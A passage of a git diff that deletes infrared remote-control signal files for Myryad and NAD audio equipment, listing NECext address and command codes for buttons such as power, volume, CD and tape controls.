@@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir deleted file mode 100644 index 9cbdafee2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir deleted file mode 100644 index ae5a32f9a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: CD_CDR -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 1C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 84 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: TUNER_SCAN_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 86 00 00 00 -# -name: TUNER_SCAN_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 87 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8A 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8B 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8E 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8F 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 92 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 93 00 00 00 -# -name: LOW_LEVEL -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 96 00 00 00 -# -name: TUNER_8_BANK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 97 00 00 00 -# -name: TAPE_PAUSE_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 99 00 00 00 -# -name: TAPE_REC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: TAPE_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: TAPE_SCAN_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: TAPE_SCAN_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: TAPE_STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir deleted file mode 100644 index 9bab84b07..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 09 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 0D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 11 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 13 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 15 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 16 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 17 00 00 00 -# -name: SCAN<< -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 19 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 1A 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 1B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 1D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 1E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 6F 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir deleted file mode 100644 index 7a081099c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 03 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 07 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 08 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 0F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 10 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 11 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 12 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 13 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 16 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 41 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 42 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 43 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 44 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 45 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 48 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir deleted file mode 100644 index b68efa224..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 09 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0A 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0D 00 00 00 -# -name: PLAY_PAUSE -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 10 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 12 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 13 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 14 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 15 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 16 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 17 00 00 00 -# -name: SCAN_FF_>> -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 18 00 00 00 -# -name: SCAN_REW_<< -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 19 00 00 00 -# -name: SKIP_FF_> -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1A 00 00 00 -# -name: SKIP_REV_< -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1C 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1D 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 40 00 00 00 -# -name: -1 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 41 00 00 00 -# -name: -2 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 42 00 00 00 -# -name: -3 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 43 00 00 00 -# -name: -4 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 44 00 00 00 -# -name: -5 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 45 00 00 00 -# -name: -6 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir deleted file mode 100644 index 97282517a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 99 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 99 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir deleted file mode 100644 index 38d790beb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: AUDIO-RESET -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: PICT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: TV/VID -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: TIMER/CLOCK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: TV/CATV -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir deleted file mode 100644 index 91afe58d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 26 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 27 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 28 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 29 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 2A 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 2B 00 00 00 -# -name: 5.1_EXT. -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 2E 00 00 00 -# -name: DYN._R. -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 2F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 30 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 31 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 32 00 00 00 -# -name: PRESET/TUNE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 33 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: DECK_A_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 52 00 00 00 -# -name: DECK_A_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 53 00 00 00 -# -name: DECK_A_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 54 00 00 00 -# -name: DECK_A_REC./PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 55 00 00 00 -# -name: DECK_A_FF -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 56 00 00 00 -# -name: DECK_A_RW -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 57 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 84 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: SCAN<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 86 00 00 00 -# -name: SCAN>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 87 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 92 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 93 00 00 00 -# -name: LOW_LEVEL -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 96 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 97 00 00 00 -# -name: DECK_B_REC./PAUSE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: DECK_B_STOP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: DECK_B_PLAY_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: DECK_B_FF -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: DECK_B_RW -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C1 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CC 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CD 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: DECK_B_PLAY_< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir deleted file mode 100644 index d89669519..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 01 00 00 00 -# -name: CD_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 02 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 05 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 06 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 17 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 20 00 00 00 -# -name: MULTI_SOURCE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 21 00 00 00 -# -name: MULTI_VOLUME_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 22 00 00 00 -# -name: MULTI_VOLUME_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 23 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 24 00 00 00 -# -name: CD_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 4A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 80 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 85 00 00 00 -# -name: MASTER_VOLUME_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 88 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 89 00 00 00 -# -name: MASTER_VOLUME_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8C 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 8D 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 91 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 94 00 00 00 -# -name: TAPE_ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 99 00 00 00 -# -name: TAPE_REC -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9A 00 00 00 -# -name: TAPE_> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9C 00 00 00 -# -name: TAPE_>> -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9D 00 00 00 -# -name: TAPE_<< -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9E 00 00 00 -# -name: TAPE_[] -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 9F 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C0 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C1 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: C2 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CC 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CD 00 00 00 -# -name: SPEAKERS_MAIN -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CE 00 00 00 -# -name: SPEAKERS_REMOTE -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: CF 00 00 00 -# -name: CENTER_VOLUME_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D0 00 00 00 -# -name: BANK_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: BANK_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 -# -name: CENTER_VOLUME_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D5 00 00 00 -# -name: REAR_VOLUME_^ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D6 00 00 00 -# -name: REAR_VOLUME_V -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D7 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DA 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir deleted file mode 100644 index e35aa728f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 5D 00 00 00 -command: EE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 5D 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir 